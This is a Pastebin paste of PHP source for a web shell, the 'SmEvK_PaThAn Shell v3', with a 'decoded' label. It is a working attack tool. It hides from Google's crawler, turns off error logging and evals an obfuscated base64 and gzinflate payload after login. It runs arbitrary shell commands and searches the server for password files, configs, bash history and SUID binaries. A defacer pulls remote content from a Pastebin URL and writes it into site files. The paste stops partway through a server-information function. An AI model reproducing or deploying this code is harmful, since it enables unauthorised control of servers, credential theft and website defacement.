SQLi_Basic

Zalim Shell Decoded By Black_EyE

Dec 4th, 2017
382
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 78.10 KB | None | 0 0
  1. <?php  $deface_url = 'http://pastebin.com/raw.php?i=FHfxsFGT';
  2.  $UserName = "zalim";
  3.  $auth_pass = "zalim";
  4.  $color = "#ABEFFF";
  5.  $Theme = '#09B5A6';
  6.  $TabsColor = '#0E5061';
  7.  ?>
  8. <?php
  9.  
  10. $default_action = 'FilesMan';
  11. @define('SELF_PATH', __FILE__);
  12. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
  13.     header('HTTP/1.0 404 Not Found');
  14.     exit;
  15. }
  16.  
  17. @session_start();
  18. @error_reporting(0);
  19. @ini_set('error_log',NULL);
  20. @ini_set('display_errors',0);
  21. @ini_set('log_errors',0);
  22. @ini_set('max_execution_time',0);
  23. @set_time_limit(0);
  24. @set_magic_quotes_runtime(0);
  25. if( get_magic_quotes_gpc() ) {
  26.     function stripslashes_array($array) {
  27.         return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  28.     }
  29.     $_POST = stripslashes_array($_POST);
  30. }
  31.  
  32. function printLogin() {
  33.  if ($_POST['pass'] != $auth_pass && $_POST['uname'] != $UserName) {
  34.     $status = 'Wrong Password or UserName :(';
  35.    
  36.  
  37. }
  38.  
  39. ?>
  40.  
  41. <html>
  42. <head>
  43. <title>SmEvK v3</title>
  44. <link href="https://fonts.googleapis.com/css?family=Josefin+Sans:400,100" rel="stylesheet">
  45. </head>
  46. <style>
  47. body{
  48.    font-family: Josefin Sans, sans-serif;
  49.     background: black;
  50.     color:#ABEFFF;
  51. }
  52.     .loginpage img{
  53.         width: 500px;
  54.         height: 150px;
  55.     }
  56.     .loginpage{
  57.         height: 400px;
  58.         width: 500px;
  59.         border:1px solid;
  60.         border-color:#ABEFFF;
  61.         text-align: center;
  62.         border-radius: 5px;
  63.         margin-top: 100px;
  64.     }
  65.     #pageheading{
  66.         font-size:25px;
  67.         color:#ABEFFF;
  68.         margin-top: 10px;
  69.     }
  70.     .loginpage img{
  71.         width: 500px;
  72.    
  73.     }
  74.     input{
  75.         background: black;
  76.         border-color:#ABEFFF;
  77.         border-radius: 10px;
  78.         margin-top: 10px;
  79.         padding:5px;
  80.         color: #ABEFFF;
  81.     }
  82.      input:hover{
  83.         background: #ABEFFF;
  84.         color: red;
  85.  
  86.      }
  87.  
  88. </style>
  89. <body>
  90. <center>
  91. <div class="loginpage">
  92.     <img src="http://i63.tinypic.com/1108vic.jpg" alt="Smevk Logo">
  93.     <div id="pageheading">SmEvK_PaThAn Shell V3</div>
  94.     <form method="post">
  95.         User Name: <input type="text" name="uname" ><br>
  96.         Password :  <input type="password" name="pass" ><br>
  97.        <input type="submit" name="login" value="Login">
  98.  <?php
  99.  
  100.   if (isset($status)) {
  101.    ?>  
  102.  
  103.  
  104.      
  105.  
  106.     </form>
  107.    
  108. </d<p><?=$status?></p>
  109. </center>
  110. </body>
  111. </html>
  112.  
  113. <?php
  114.  
  115.  
  116.   }      
  117.     exit;
  118. }
  119.  
  120. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  121.     if( empty( $auth_pass ) ||
  122.         ( isset( $_POST['pass'] ) &&  ($_POST['pass']) == $auth_pass  && ($_POST['uname']) == $UserName)){
  123.         $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  124.         $O0OO0OO0OO0 = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOGd6dW5jb21wcmVzcyUyOGd6dW5jb21wcmVzcyUyOGd6aW5mbGF0ZSUyOGd6aW5mbGF0ZSUyOGd6aW5mbGF0ZSUyOGJhc2U2NF9kZWNvZGUlMjhzdHJyZXYlMjhnenVuY29tcHJlc3MlMjhnenVuY29tcHJlc3MlMjhnemluZmxhdGUlMjhnemluZmxhdGUlMjhnemluZmxhdGUlMjhiYXNlNjRfZGVjb2RlJTI4c3RycmV2JTI4JTI0T09PMDBPTyUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";
  125.         $OOO00OO = "==gaKGKY16E9j/fxuKTapLhsZn7Ehfbx/CctapvSH9biLJbpos8Ze8SxR8VFiH9IrcndWKXnxl3x334OvN43GmuPdDOLpWcT3OSPriVN08gUmEL2Ll1LHOsc/DWpqIe3IgYOQvLO8fcz/dFRRhEWJ0K0o3E+CdVjdqd/+vKVbnm0ikIATmRA7CkOn3sw87rPsdrkW7ao1qwxjfGYIjHWXvhmlRIb0tih2Y5h3Ql+au/ZkZlJ830GB1VqdAQOdhnCsr8CtkDqs5VikQ+MNghEG3nfc0ifKTXYLkw4Cst19R4Z3wq3d59Ns9cO7+7JfXpbK/45NkdpXpHIPtkvhiaV6gBPDSGwvxz1GxdRZUrqo+CgDYrYabUDL+yOCXs6RySjUJu46TxbXLASvu7JYpmeHfGuDGRJ9vp2LO2iffm3p2FQ+DlksFxutMdNS1ZFTqZmZuK+pX6eNJBrU0Al6qoJxVA3qSXt7A/DIdnbjGfkxgyzunTQYlb9wGRX843TEdU8lSsVEVrEPTTn3CJTLAtRAbr9MerBLV6zQNTF0kcmF369GBHGLVzP5KrRY7ykuXrq65T+JVmVCZewu3Tcfrx9TwkGGQxq9/2J1N2g8jQ0tydMMvTyunWZY1kyvF2Et3Zayns9CDj+PSXtYAjPEs/Zx/h0LJYERVyQhSL1x7ldifwabjppTjTI+JECeCsFTjXM4DQixeqFLmNOJr4cGPzUccfNocTTnS+7uFZiim/jdg0bdEEVqucqGtdGSVyIY3OE/qyaOwLRSi12syMcyo7DXZDXstmhaMjPLkL5SGtGLnM7hrjIUmZBa7UzVO2V3O6FkSnv+Att/sd5MEJPHvH8hxcxMbf1b4NYqvnay/i0+x+iXZ9OkStC/su460dY9Q6t3optR3K7nd9dUeTSA8mlshGzgjXPewco6fjnSqwLCXgFf9cDekXasunKBP3mlg0wMNU9Teq8JoKUwKoTUMoGgwTzpxoq9aMgOFdak3gonAP8urn/vvr+uJ3PVreD+7nnK0gMpRUnEjdkHAysWEEICW/AADAAAJqtHBdDciH/oPwFBwJe839AiEA/YPwJBw/0DwSA";
  126.         eval(htmlspecialchars_decode(urldecode(base64_decode($O0OO0OO0OO0))));
  127.         }
  128.     else {
  129.        
  130.         printLogin();
  131.     }
  132. if( strtolower( substr(PHP_OS,0,3) ) == "win" )
  133.     $os = 'win';
  134. else
  135.     $os = 'nix';
  136. $safe_mode = @ini_get('safe_mode');
  137. $disable_functions = @ini_get('disable_functions');
  138. $home_cwd = @getcwd();
  139. if( isset( $_POST['c'] ) )
  140.     @chdir($_POST['c']);
  141. $cwd = @getcwd();
  142. if( $os == 'win') {
  143.     $home_cwd = str_replace("\\", "/", $home_cwd);
  144.     $cwd = str_replace("\\", "/", $cwd);
  145. }
  146. if( $cwd[strlen($cwd)-1] != '/' )
  147.     $cwd .= '/';
  148.    
  149. if($os == 'win') {
  150.     $aliases = array(
  151.         "List Directory" => "dir",
  152.         "Find index.php in current dir" => "dir /s /w /b index.php",
  153.         "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  154.         "Show active connections" => "netstat -an",
  155.         "Show running services" => "net start",
  156.         "User accounts" => "net user",
  157.         "Show computers" => "net view",
  158.         "ARP Table" => "arp -a",
  159.         "IP Configuration" => "ipconfig /all"
  160.     );
  161. } else {
  162.     $aliases = array(
  163.           "List dir" => "ls -la",
  164.         "list file attributes on a Linux second extended file system" => "lsattr -va",
  165.           "show opened ports" => "netstat -an | grep -i listen",
  166.         "Find" => "",
  167.           "find all suid files" => "find / -type f -perm -04000 -ls",
  168.           "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  169.           "find all sgid files" => "find / -type f -perm -02000 -ls",
  170.           "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  171.           "find config.inc.php files" => "find / -type f -name config.inc.php",
  172.           "find config* files" => "find / -type f -name \"config*\"",
  173.           "find config* files in current dir" => "find . -type f -name \"config*\"",
  174.           "find all writable folders and files" => "find / -perm -2 -ls",
  175.           "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  176.           "find all service.pwd files" => "find / -type f -name service.pwd",
  177.           "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  178.           "find all .htpasswd files" => "find / -type f -name .htpasswd",
  179.           "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  180.           "find all .bash_history files" => "find / -type f -name .bash_history",
  181.           "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  182.           "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  183.           "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  184.         "Locate" => "",
  185.           "locate httpd.conf files" => "locate httpd.conf",
  186.         "locate vhosts.conf files" => "locate vhosts.conf",
  187.         "locate proftpd.conf files" => "locate proftpd.conf",
  188.         "locate psybnc.conf files" => "locate psybnc.conf",
  189.         "locate my.conf files" => "locate my.conf",
  190.         "locate admin.php files" =>"locate admin.php",
  191.         "locate cfg.php files" => "locate cfg.php",
  192.         "locate conf.php files" => "locate conf.php",
  193.         "locate config.dat files" => "locate config.dat",
  194.         "locate config.php files" => "locate config.php",
  195.         "locate config.inc files" => "locate config.inc",
  196.         "locate config.inc.php" => "locate config.inc.php",
  197.         "locate config.default.php files" => "locate config.default.php",
  198.         "locate config* files " => "locate config",
  199.         "locate .conf files"=>"locate '.conf'",
  200.         "locate .pwd files" => "locate '.pwd'",
  201.         "locate .sql files" => "locate '.sql'",
  202.         "locate .htpasswd files" => "locate '.htpasswd'",
  203.         "locate .bash_history files" => "locate '.bash_history'",
  204.         "locate .mysql_history files" => "locate '.mysql_history'",
  205.         "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  206.         "locate backup files" => "locate backup",
  207.         "locate dump files" => "locate dump",
  208.         "locate priv files" => "locate priv"    
  209.     );
  210. }
  211.     if(isset($_POST['p1']) && $_POST['p1']=='deface') {
  212.        
  213.         $def = file_get_contents($deface_url);
  214.         file_put_contents($_POST['c'].$_POST['p2'],$def);
  215.     }
  216. function ex($in) {
  217.     $out = '';
  218.     if(function_exists('exec')) {
  219.         @exec($in,$out);
  220.         $out = @join("\n",$out);
  221.     }elseif(function_exists('passthru')) {
  222.         ob_start();
  223.         @passthru($in);
  224.         $out = ob_get_clean();
  225.     }elseif(function_exists('system')) {
  226.         ob_start();
  227.         @system($in);
  228.         $out = ob_get_clean();
  229.     }elseif(function_exists('shell_exec')) {
  230.         $out = shell_exec($in);
  231.     }elseif(is_resource($f = @popen($in,"r"))) {
  232.         $out = "";
  233.         while(!@feof($f))
  234.             $out .= fread($f,1024);
  235.         pclose($f);
  236.     }
  237.     return $out;
  238. }
  239.  
  240. function which($p) {
  241.     $path = ex('which '.$p);
  242.     if(!empty($path))
  243.         return $path;
  244.     return false;
  245. }
  246.    
  247. function printHeader() {
  248.     if(empty($_POST['charset']))
  249.         $_POST['charset'] = "UTF-8";
  250.     global $color;
  251.     global $Theme;
  252.     global $TabsColor;
  253.         echo "<html><head><link href='https://fonts.googleapis.com/css?family=Josefin+Sans:400,100' rel='stylesheet' type='text/css'></head>";
  254.     echo '<html>
  255. <meta http-equiv="Content-Type" content="text/html; charset='.$_POST['charset'].'"><title>SmEvK v3</title>
  256. <style>
  257.        body {background-color:black;color:#fff;}
  258.        body,td,th    { font-family: Josefin Sans, sans-serif;font-size:13px;margin:0;vertical-align:top; }
  259.        span,h1,a    { color:'.$color.' !important; }
  260.        span        { font-weight: bolder; }
  261.        h1            { padding: 0px 5px;font: 14pt audiowide;margin:0px 0 0 0px; }
  262.        div.content    { padding: 0px;margin:0 0px;background: #0F1010;border:1px solid '.$Theme.'; border-radius:5px;}
  263.        a            { text-decoration:none;   }
  264.        a:hover        { border-bottom:0px solid #5e5e5e;text-decoration:none; }
  265.        a:hover{cursor: url("http://downloads.totallyfreecursors.com/cursor_files/pakistan.ani"), url("http://downloads.totallyfreecursors.com/thumbnails/PAKISTAN.gif"), auto;text-decoration:none;}
  266.        .ml1        { border:1px solid '.$Theme.';padding:px;margin:0;overflow: auto; }
  267.        .bigarea    { width:100%;height:250px;margin-top:0px; border-radius:10px; border-color:'.$Theme.'; background:#2F2F2F;}
  268.        input, textarea, select    { margin-top:0;color:#63E1FF;background-color:black;border-radius:5px;border:1px solid '.$Theme.'; border-radis:5px;font: 10pt arial,"Courier New"; }
  269.        input[type="button"]:hover,input[type="submit"]:hover {background-color:#094F60;color:black;text-decoration:none;}
  270.        form        { margin:0px; background:#0F1010;}
  271.        #toolsTbl    { text-align:center; }
  272.        .toolsInp    { width: 80%; background:black; border-radius:5px; border-color:'.$Theme.'; }
  273.        .main th    {text-align:left;background-color:'.$TabsColor.';}
  274.        .main tr:hover{background:'.$Theme.'; border:5px solid;border-color:'.$Theme.';}
  275.        .main td, th{vertical-align:middle;}
  276.        .menu { height:30px; border-radius:10px;}
  277.        .menu th{padding:1px;border-radius: 5px;  background:'.$TabsColor.';     -webkit-transform: rotate(20deg);
  278.    -moz-transform: rotate(20deg);
  279.    -o-transform: rotate(20deg);
  280.    -ms-transform: rotate(20deg);
  281.    transform: rotate(20deg);}
  282.        .menu th:hover{background:#0F1010;text-decoration: none;}
  283.                pre {font-family: Josefin Sans, sans-serif;color:#FFFFFF;}
  284.        #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
  285.  
  286.                
  287.        .cpr {margin-bottom:5px;font-weight:bold; }
  288.        .cpb {width:34px;margin:0 5px;}
  289.        
  290.        .npoad td {padding:0;}
  291.        #Smevktools{
  292.        margin-top:50px;
  293.        width:500px;
  294.        border:1px solid;
  295.        border-radius:10px;
  296.    }
  297.    .smevklogo td{
  298.        font-size:12px;
  299.        font-weight:bold;
  300.        
  301.  
  302.  
  303.    }
  304.    .smevklogo{
  305.        margin-left:5px;
  306.        background:url(http://i63.tinypic.com/1108vic.jpg);
  307.        background-repeat: no-repeat;
  308.       background-position: CENTER;
  309.        background-color:#0F1010;
  310.        background-size: 400px 120px;
  311.  
  312.  
  313.  
  314.    }
  315.    </style>
  316.  
  317. </html>
  318. <style type="text/css">body, a:hover {text-decoration:none;cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1054.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2012/02/11/chrome-pointer.html" target="_blank" title="Chrome Pointer"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Chrome Pointer" style="position:absolute; top: 0px; right: 0px;" /></a>
  319.    <script>
  320.        function set(a,c,p1,p2,p3,charset) {
  321.            if(a != null)document.mf.a.value=a;
  322.            if(c != null)document.mf.c.value=c;
  323.            if(p1 != null)document.mf.p1.value=p1;
  324.            if(p2 != null)document.mf.p2.value=p2;
  325.            if(p3 != null)document.mf.p3.value=p3;
  326.            if(charset != null)document.mf.charset.value=charset;
  327.        }
  328.        function g(a,c,p1,p2,p3,charset) {
  329.            set(a,c,p1,p2,p3,charset);
  330.            document.mf.submit();
  331.        }
  332.        function a(a,c,p1,p2,p3,charset) {
  333.            set(a,c,p1,p2,p3,charset);
  334.            var params = "ajax=true";
  335.            for(i=0;i<document.mf.elements.length;i++)
  336.                params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
  337.            sr("'.$_SERVER['REQUEST_URI'].'", params);
  338.        }
  339.        function sr(url, params) {    
  340.            if (window.XMLHttpRequest) {
  341.                req = new XMLHttpRequest();
  342.                req.onreadystatechange = processReqChange;
  343.                req.open("POST", url, true);
  344.                req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
  345.                req.send(params);
  346.            }
  347.            else if (window.ActiveXObject) {
  348.                req = new ActiveXObject("Microsoft.XMLHTTP");
  349.                if (req) {
  350.                    req.onreadystatechange = processReqChange;
  351.                    req.open("POST", url, true);
  352.                    req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
  353.                    req.send(params);
  354.                }
  355.            }
  356.        }
  357.        function processReqChange() {
  358.            if( (req.readyState == 4) )
  359.                if(req.status == 200) {
  360.                    //alert(req.responseText);
  361.                    var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
  362.                    var arr=reg.exec(req.responseText);
  363.                    eval(arr[2].substr(0, arr[1]));
  364.                }
  365.                else alert("Request error!");
  366.        }
  367.    </script>
  368.    <head><link href="https://fonts.googleapis.com/css?family=Audiowide" ></head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:5px;background:black;"><div class="content" style="border:1px solid '.$Theme.'; border-radius:5px;">
  369.    <form method=post name=mf style="display:none;">
  370.        <input type=hidden name=a value="'.(isset($_POST['a'])?$_POST['a']:'').'">
  371.        <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
  372.        <input type=hidden name=p1 value="'.(isset($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'">
  373.        <input type=hidden name=p2 value="'.(isset($_POST['p2'])?htmlspecialchars($_POST['p2']):'').'">
  374.        <input type=hidden name=p3 value="'.(isset($_POST['p3'])?htmlspecialchars($_POST['p3']):'').'">
  375.        <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  376.    </form>';
  377.     $freeSpace = @diskfreespace($GLOBALS['cwd']);
  378.     $totalSpace = @disk_total_space($GLOBALS['cwd']);
  379.     $totalSpace = $totalSpace?$totalSpace:1;
  380.     $disable_functions = @ini_get('disable_functions');
  381.     $release = @php_uname('r');
  382.     $kernel = @php_uname('s');
  383.     if(!function_exists('posix_getegid')) {
  384.         $user = @get_current_user();
  385.         $uid = @getmyuid();
  386.         $gid = @getmygid();
  387.         $group = "?";
  388.     } else {
  389.         $uid = @posix_getpwuid(@posix_geteuid());
  390.         $gid = @posix_getgrgid(@posix_getegid());
  391.         $user = $uid['name'];
  392.         $uid = $uid['uid'];
  393.         $group = $gid['name'];
  394.         $gid = $gid['gid'];
  395.     }
  396.     $cwd_links = '';
  397.     $path = explode("/", $GLOBALS['cwd']);
  398.     $n=count($path);
  399.     for($i=0;$i<$n-1;$i++) {
  400.         $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  401.         for($j=0;$j<=$i;$j++)
  402.             $cwd_links .= $path[$j].'/';
  403.         $cwd_links .= "\")'>".$path[$i]."/</a>";
  404.     }
  405.     $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  406.     $opt_charsets = '';
  407.     foreach($charsets as $item)
  408.         $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  409.     $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Bypasser'=>'SafeMode','Safe Mode'=>'Bypass','String tools'=>'StringTools','Import Scripts'=>'ImportScripts','Network'=>'Network','Readable Dirs'=>'Readable','Defacer' => 'Deface','Code Injector'=>'Injector','Domains' => 'Domain');
  410.     if(!empty($GLOBALS['auth_pass']))
  411.         $m['Logout'] = 'Logout';
  412.     $menu = '';
  413.     foreach($m as $k => $v)
  414.         $menu .= '<th><a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a></th>';
  415.     $drives = "";
  416.     if ($GLOBALS['os'] == 'win') {
  417.         foreach( range('a','z') as $drive ){
  418.             if (is_dir($drive.':\\'))
  419.                 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  420.         }
  421.         $drives .= '<br />: ';
  422.     }
  423.     if($GLOBALS['os'] == 'nix') {
  424.         $dominios = @file_get_contents("/etc/named.conf");
  425.         if(!$dominios) {
  426.             $DomainS = "/var/named";
  427.             $Domainonserver = scandir($DomainS);
  428.             $d0c = count($Domainonserver);
  429.         } else {
  430.             @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
  431.             $out = sizeof(array_unique($out[1]));
  432.             $d0c = $out."  Domains";
  433.         }
  434.     } else {
  435.         $d0c = "Nothing here bro:(";
  436.     }
  437.     if($GLOBALS['os'] == 'nix' )
  438.     {
  439.         $usefl = ''; $dwnldr = '';
  440.         if(!@ini_get('safe_mode')) {
  441.             $temp = array();
  442.             $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  443.             foreach($userful as $item) { if(which($item)) $temp[]= $item; }
  444.             $usefl = implode(', ',$temp);
  445.             $temp = array();
  446.             $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  447.             foreach($downloaders as $item2) { if(which($item2)) $temp[]= $item2; }
  448.             $dwnldr = implode(', ',$temp);
  449.         } else {
  450.             $usefl = ' ------- '; $dwnldr = ' ------- ';
  451.         }
  452.     } else {
  453.         $usefl = ' ------- '; $dwnldr = ' ------- ';
  454.     }
  455.     echo '<div class="smevklogo"><table class="info" cellpadding="0" cellspacing="0" width="100%"><tr>
  456.          <td><table cellpadding="3" cellspacing="0" class="npoad"><tr><td width="80px;"><span>Uname</span></td><td>: <nobr>'.substr(@php_uname(), 0, 120).'</nobr></td></tr>
  457.          <tr><td><span>User</span></td><td>: '.$uid.' ( '.$user.' ) <span>Group: </span> '.$gid.' ( '.$group.' )</td></tr><tr><td><span>Server</span></td><td>: '.@getenv('SERVER_SOFTWARE').'</td></tr><tr><td><span>Useful</span></td><td>: '.$usefl.'</td></tr><tr><td><span>Downloaders</span></td><td>: '.$dwnldr.'</td></tr><tr><td><span>D/functions</span></td><td>: '.($disable_functions?$disable_functions:'All Function Enable').'</td></tr><tr><td><span>'.($GLOBALS['os'] == 'win'?'Drives<br />Cwd':'Cwd').'</span></td><td>: '.$drives.''.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>'.
  458.          '<td width=4><nobr><span>Sv IP</span><br><span>Your IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>'.
  459.          '<td><nobr>: '.gethostbyname($_SERVER["HTTP_HOST"]).'<br>: '.$_SERVER['REMOTE_ADDR'].'<br />: '.viewSize($totalSpace).'<br />: '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>: '.@phpversion().' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color='.$color.'<b>OFF</b></font>').'<br />: '.$d0c.'</nobr></td></tr></table></div>'.
  460.          '</div></div><div style="margin:5;background:black;"><div class="content" style="border-top:5px solid 430303;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>'.$menu.'</tr></table></div></div><div style="margin:5;background:black;">';
  461. }
  462.  
  463. function printFooter() {
  464.     $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
  465.  
  466. echo '</div><div style="margin:5px;background:black;"><div class="content" style="border:1px solid '.$Theme.'; border-radius:5px;">
  467. <table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
  468.    <tr>
  469.        <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="'.htmlspecialchars($GLOBALS['cwd']).'"><input type=submit value=">>"></form></td>
  470.        <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
  471.    </tr>
  472.    <tr>
  473.        <td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form>'.$is_writable.'</td>
  474.        <td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
  475.    </tr>
  476.    <tr>
  477.        <td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
  478.        <td><form method="post" ENCTYPE="multipart/form-data">
  479.        <input type=hidden name=a value="FilesMAn">
  480.        <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
  481.        <input type=hidden name=p1 value="uploadFile">
  482.        <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  483.        <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
  484.    </tr>
  485. </table></div></div>
  486. <div style="margin:5px;background:black;"><div class="content" style="border:2px solid '.$Theme.';text-align:center;font-weight:bold; border-radius:10px;margin:auto; width:500;">SmEvK_PaThAn Shell v3 coded by <a href="https://www.facebook.com/smevkpathan"> Kashif Khan</a></div></div>
  487. </div>
  488. </body></html>';
  489. }
  490.  
  491. if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
  492. if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
  493.  
  494.  
  495. function viewSize($s) {
  496.     if($s >= 1073741824)
  497.         return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  498.     elseif($s >= 1048576)
  499.         return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  500.     elseif($s >= 1024)
  501.         return sprintf('%1.2f', $s / 1024 ) . ' KB';
  502.     else
  503.         return $s . ' B';
  504. }
  505.  
  506. function perms($p) {
  507.     if (($p & 0xC000) == 0xC000)$i = 's';
  508.     elseif (($p & 0xA000) == 0xA000)$i = 'l';
  509.     elseif (($p & 0x8000) == 0x8000)$i = '-';
  510.     elseif (($p & 0x6000) == 0x6000)$i = 'b';
  511.     elseif (($p & 0x4000) == 0x4000)$i = 'd';
  512.     elseif (($p & 0x2000) == 0x2000)$i = 'c';
  513.     elseif (($p & 0x1000) == 0x1000)$i = 'p';
  514.     else $i = 'u';
  515.     $i .= (($p & 0x0100) ? 'r' : '-');
  516.     $i .= (($p & 0x0080) ? 'w' : '-');
  517.     $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  518.     $i .= (($p & 0x0020) ? 'r' : '-');
  519.     $i .= (($p & 0x0010) ? 'w' : '-');
  520.     $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  521.     $i .= (($p & 0x0004) ? 'r' : '-');
  522.     $i .= (($p & 0x0002) ? 'w' : '-');
  523.     $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  524.     return $i;
  525. }
  526.  
  527. function viewPermsColor($f) {
  528.     if (!@is_readable($f))
  529.         return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
  530.     elseif (!@is_writable($f))
  531.         return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
  532.     else
  533.         return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
  534. }
  535.  
  536. if(!function_exists("scandir")) {
  537.     function scandir($dir) {
  538.         $dh  = opendir($dir);
  539.         while (false !== ($filename = readdir($dh))) {
  540.             $files[] = $filename;
  541.         }
  542.         return $files;
  543.     }
  544. }
  545.  
  546. function actionSecInfo() {
  547.     printHeader();
  548.     echo '<h1>Server security information</h1><div class=content>';
  549.     function showSecParam($n, $v) {
  550.         $v = trim($v);
  551.         if($v) {
  552.             echo '<span>'.$n.': </span>';
  553.             if(strpos($v, "\n") === false)
  554.                 echo $v.'<br>';
  555.             else
  556.                 echo '<pre class=ml1>'.$v.'</pre>';
  557.         }
  558.     }
  559.    
  560.     showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  561.     showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
  562.     showSecParam('Open base dir', @ini_get('open_basedir'));
  563.     showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  564.     showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  565.     showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  566.     $temp=array();
  567.     if(function_exists('mysql_get_client_info'))
  568.         $temp[] = "MySql (".mysql_get_client_info().")";
  569.     if(function_exists('mssql_connect'))
  570.         $temp[] = "MSSQL";
  571.     if(function_exists('pg_connect'))
  572.         $temp[] = "PostgreSQL";
  573.     if(function_exists('oci_connect'))
  574.         $temp[] = "Oracle";
  575.     showSecParam('Supported databases', implode(', ', $temp));
  576.     echo '<br>';
  577.    
  578.     if( $GLOBALS['os'] == 'nix' ) {
  579.         $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
